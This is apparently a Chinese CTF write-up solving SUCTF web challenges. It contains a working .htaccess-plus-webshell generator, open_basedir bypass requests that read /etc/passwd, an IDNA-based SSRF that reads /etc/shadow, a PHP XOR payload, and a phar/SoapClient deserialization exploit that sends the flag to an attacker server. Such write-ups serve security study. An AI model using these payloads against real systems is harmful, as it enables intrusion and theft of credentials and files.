SUCTF-wp

Web

CheckIn

题目功能是一个文件上传,可以上传jpg、png等文件,但是限制了php,而且还判断了上传的文件头,使用exif_image来判断的,这个很容易绕过,直接GIF89就行,并且上传之后会给出文件所在目录

尝试了.htaccess,发现不行,队里师傅突然说出了orz,第一次见还能这么做。先发下p牛的链接

.user.ini文件构成的PHP后门

EasyPHP

参考:ISITDTU CTF 2019 EasyPHP 回顾

找到一篇类似的题,但是这里长度限制了18,太狠了,还过滤了字母数字。

于是谷歌了一番,找到了Smi1e师傅的一篇文章,结合陆队的blog,找到了思路

经过摸索,找到payload

1
${%A0%B8%BA%AB^%ff%ff%ff%ff}{%A0}();&%A0=get_the_flag

接下来就是上传了,说一下流程,上传一个.htaccess,然后getshell,直接贴wp了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
SIZE_HEADER = b"\n\n#define width 1337\n#define height 1337\n\n"

def generate_php_file(filename, script):
phpfile = open(filename, 'wb')

phpfile.write(script.encode('utf-16be'))
phpfile.write(SIZE_HEADER)

phpfile.close()

def generate_htacess():
htaccess = open('.htaccess', 'wb')

htaccess.write(SIZE_HEADER)
htaccess.write(b'AddType application/x-httpd-php .south\n')
htaccess.write(b'php_value zend.multibyte 1\n')
htaccess.write(b'php_value zend.detect_unicode 1\n')
htaccess.write(b'php_value display_errors 1\n')

htaccess.close()

generate_htacess()
generate_php_file("webshell.south", "<?php eval($_GET['cmd']); die(); ?>")

把文件上传上去之后得到shell,但是这里有disable_function,还限制了open_basedir,这里想到0CTF-TCTF final的绕过这两个任意文件读取

http://47.111.59.243:9001/upload/tmp_cc54f9a65160d1015e9d4b96601f1274/webshell.south?cmd=mkdir("/tmp/fuck");chdir('/tmp/fuck/');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(file_get_contents("/etc/passwd"]

http://47.111.59.243:9001/upload/tmp_cc54f9a65160d1015e9d4b96601f1274/webshell.south?cmd=mkdir("/tmp/fuck");chdir('/tmp/fuck/');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir("/"));

http://47.111.59.243:9001/upload/tmp_cc54f9a65160d1015e9d4b96601f1274/webshell.south?cmd=mkdir("/tmp/fuck");chdir('/tmp/fuck/');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');readfile("/THis_Is_tHe_F14g"));

Pythonginx

拿到这题,赶紧秒了,群里一直讨论的题,今年blackhat刚讲

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
url = request.args.get("url")
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl).read()
else:
return "我扌 your problem? 333"

我们可以简单的写一个脚本来爆破一下最后一个字符串c,脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from urllib.parse import urlparse,urlunsplit,urlsplit
from urllib import parse
def get_unicode():
for x in range(65536):
uni=chr(x)
url="http://suctf.c{}".format(uni)
try:
if getUrl(url):
print("str: "+uni+' unicode: \\u'+str(hex(x))[2:])
except:
pass


def getUrl(url):
url = url
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return False
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return False
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return True
else:
return False

if __name__=="__main__":
get_unicode()

找了一个file://suctf.cℂ/etc/shadow

然后就是找flag,题目说了”Do you know the nginx?”,直接读nginx的配置文件。

easy_sql

说到这道题,真的好气,日了一天了,知道第二天下午队里师傅突然说扫到源码,源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
<?php
session_start();

include_once "config.php";

$post = array();
$get = array();
global $MysqlLink;

//GetPara();
$MysqlLink = mysqli_connect("localhost",$datauser,$datapass);
if(!$MysqlLink){
die("Mysql Connect Error!");
}
$selectDB = mysqli_select_db($MysqlLink,$dataName);
if(!$selectDB){
die("Choose Database Error!");
}

foreach ($_POST as $k=>$v){
if(!empty($v)&&is_string($v)){
$post[$k] = trim(addslashes($v));
}
}
foreach ($_GET as $k=>$v){
}
}
//die();
?>

<html>
<head>
</head>

<body>

<a> Give me your flag, I will tell you if the flag is right. </ a>
<form action="" method="post">
<input type="text" name="query">
<input type="submit">
</form>
</body>
</html>

<?php

if(isset($post['query'])){
$BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|\"";
//var_dump(preg_match("/{$BlackList}/is",$post['query']));
if(preg_match("/{$BlackList}/is",$post['query'])){
//echo $post['query'];
die("Nonono.");
}
if(strlen($post['query'])>40){
die("Too long.");
}
$sql = "select ".$post['query']."||flag from Flag";
mysqli_multi_query($MysqlLink,$sql);
do{
if($res = mysqli_store_result($MysqlLink)){
while($row = mysqli_fetch_row($res)){
print_r($row);
}
}
}while(@mysqli_next_result($MysqlLink));

}

?>

这一看,感觉跟之前自己fuzz的没啥区别,唯一可喜的就是看到了执行的语句,接下来直接上wp吧,可能把你气运,赛后问了一下主办方,这非预期了,其实我挺想知道预期解的,赛后再看看 (这里源码不是预期要给的,只是在运维人员不小心在线vim的时候,我们扫了,逃~)

Upload labs 2

这道题开放了不久,给了源码,接着审计一波,index.php上传这里没啥限制,限制了文件后缀

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#index.php
<?php
include 'class.php';

$userdir = "upload/" . md5($_SERVER["REMOTE_ADDR"]);
if (!file_exists($userdir)) {
mkdir($userdir, 0777, true);
}
if (isset($_POST["upload"])) {
// 允许上传的图片后缀
$allowedExts = array("gif", "jpeg", "jpg", "png");
$tmp_name = $_FILES["file"]["tmp_name"];
$file_name = $_FILES["file"]["name"];
$temp = explode(".", $file_name);
$extension = end($temp);
if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/png"))
&& ($_FILES["file"]["size"] < 204800) // 小于 200 kb
&& in_array($extension, $allowedExts)
) {
$c = new Check($tmp_name);
$c->check();
if ($_FILES["file"]["error"] > 0) {
echo "错误:: " . $_FILES["file"]["error"] . "<br>";
die();
} else {
move_uploaded_file($tmp_name, $userdir . "/" . md5($file_name) . "." . $extension);
echo "文件存储在: " . $userdir . "/" . md5($file_name) . "." . $extension;
}
} else {
echo "非法的文件格式";
}
}

func.php接受一个url参数,参数经过一个很狠的正则,会去你上传的目录找你上传的文件,获取MIME返回。

1
2
3
4
5
6
7
8
9
10
11
# func.php
if (isset($_POST["submit"]) && isset($_POST["url"])) {
if(preg_match('/^(ftp|zlib|data|glob|phar|ssh2|compress.bzip2|compress.zlib|rar|ogg|expect)(.|\\s)*|(.|\\s)*(file|data|\.\.)(.|\\s)*/i',$_POST['url'])){
die("Go away!");
}else{
$file_path = $_POST['url'];
$file = new File($file_path);
$file->getMIME();
echo "<p>Your file type is '$file' </p>";
}
}

class.php这里的File的__wakeup函数很异常,预计就是题目考点了,作用是创建一个类的新实例,给出的参数将传递到类的构造函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#class.php
<?php
include 'config.php';

class File{

public $file_name;
public $type;
public $func = "Check";

function __construct($file_name){
$this->file_name = $file_name;
}

function __wakeup(){
$class = new ReflectionClass($this->func);
$a = $class->newInstanceArgs($this->file_name);
$a->check();
}

function getMIME(){
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$this->type = finfo_file($finfo, $this->file_name);
finfo_close($finfo);
}

function __toString(){
return $this->type;
}

}

class Check{

public $file_name;

function __construct($file_name){
$this->file_name = $file_name;
}

function check(){
$data = file_get_contents($this->file_name);
if (mb_strpos($data, "<?") !== FALSE) {
die("&lt;? in contents!");
}
}
}

接下来这个admin.php,需要一个ssrf然后,之后会触发getflag函数把flag发到你服务器上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#admin.php
<?php
include 'config.php';

class Ad{

public $ip;
public $port;

public $clazz;
public $func1;
public $func2;
public $func3;
public $instance;
public $arg1;
public $arg2;
public $arg3;

function __construct($ip, $port, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3){

$this->ip = $ip;
$this->port = $port;
$this->clazz = $clazz;
$this->func1 = $func1;
$this->func2 = $func2;
$this->func3 = $func3;
$this->arg1 = $arg1;
$this->arg2 = $arg2;
$this->arg3 = $arg3;
}

function check(){

$reflect = new ReflectionClass($this->clazz);
$this->instance = $reflect->newInstanceArgs();

$reflectionMethod = new ReflectionMethod($this->clazz, $this->func1);
$reflectionMethod->invoke($this->instance, $this->arg1);

$reflectionMethod = new ReflectionMethod($this->clazz, $this->func2);
$reflectionMethod->invoke($this->instance, $this->arg2);

$reflectionMethod = new ReflectionMethod($this->clazz, $this->func3);
$reflectionMethod->invoke($this->instance, $this->arg3);
}

function __destruct(){
getFlag($this->ip, $this->port);
//使用你自己的服务器监听一个确保可以收到消息的端口来获取flag
}
}

if($_SERVER['REMOTE_ADDR'] == '127.0.0.1'){
if(isset($_POST['admin'])){

$ip = $_POST['ip']; //你用来获取flag的服务器ip
$port = $_POST['port']; //你用来获取flag的服务器端口
$clazz = $_POST['clazz'];
$func1 = $_POST['func1'];
$func2 = $_POST['func2'];
$func3 = $_POST['func3'];
$arg1 = $_POST['arg1'];
$arg2 = $_POST['arg2'];
$arg2 = $_POST['arg3'];
$admin = new Ad($ip, $port, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3);
$admin->check();
}
}
else {
echo "You r not admin!";
}

经过大致分析,需要点: ssrf、触发反序列化、上传内容不能有<?、不能直接用phar等已见的协议触发。

这里正则绕过:php://filter/resource=phar://phar.phar

ssrf: 因为可以实例化任何类,然而题目并没有给什么有用的,自然想到SoapClient

上传内容不能有<?绕过: 结合前面两题的trick<script language="php">__HALT_COMPILER();</script>

触发反序列化:$this->type = finfo_file($finfo, $this->file_name);

那么这些点全部都有了,直接贴exp吧。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt','text');
$phar->setStub('<script language="php">__HALT_COMPILER();</script>');

class File {
public $file_name = "";
public $func = "SoapClient";

function __construct(){
$target = "http://127.0.0.1/admin.php";
$post_string = 'admin=&ip=111.111.111.111&port=1111&clazz=SplStack&func1=push&func2=push&func3=push&arg1=123456&arg2=123456&arg3='. "\r\n";
$headers = [];
$this->file_name = [
null,
array('location' => $target,
'user_agent'=> str_replace('^^', "\r\n", 'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'Content-Length: '. (string)strlen($post_string).'^^^^'.$post_string),
'uri'=>'hello')
];
}
}
$object = new File;
echo urlencode(serialize($object));
$phar->setMetadata($object);
$phar->stopBuffering();

把生成的test.phar改成test.jpg上传,然后访问php://filter/resource=phar://upload/2bc454e1fc8129de63d3c034e5c0c24f/0412c29576c708cf0155e8de242169b1.jpg

赛后经过测试发现如下payload也可以,所以paper写的不太对。

1
$phar->setStub('123123__HALT_COMPILER();123123');

贴一下fuzz splstack的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
$a=get_declared_classes();
foreach ($a as $class) {
$obj = new ReflectionClass($class);
$className = $obj->getName();
$Methods =array();
try{
$method = new ReflectionMethod($class, "__construct");
$params = $method->getParameters();
if(count($params)!=0){
continue;
}
}catch(Exception $e){
continue;

}

foreach($obj->getMethods() as $v)
{
$Methods[$v->getName()] = $v;
}

if(is_array($Methods))
ksort($Methods);
foreach($Methods as $k => $v)
{
$method = new ReflectionMethod($class, $k);
$params = $method->getParameters();
if(count($params)==1&&$a==true){
echo "class {$className}\n{\n";
echo "\t<br>";
echo "\tfunction {$k}(){}\n";
print_r(count($params));
echo "<br>";
echo "<br>}";
echo "<br>";
echo "<br>";
}
}
}

Cocktail’s Remix

这题是结合逆向的一道题,有一个下载功能,可以下载一些东西,把so固件下载下来丢给你享受,前面逆向是逆向手做的,后面得到一个信息就是添加reffer然后直接可以执行命令

然后config.php给了我们提示,于是猜测flag是不是在数据库里面,Go!

-------------本文结束感谢您的阅读-------------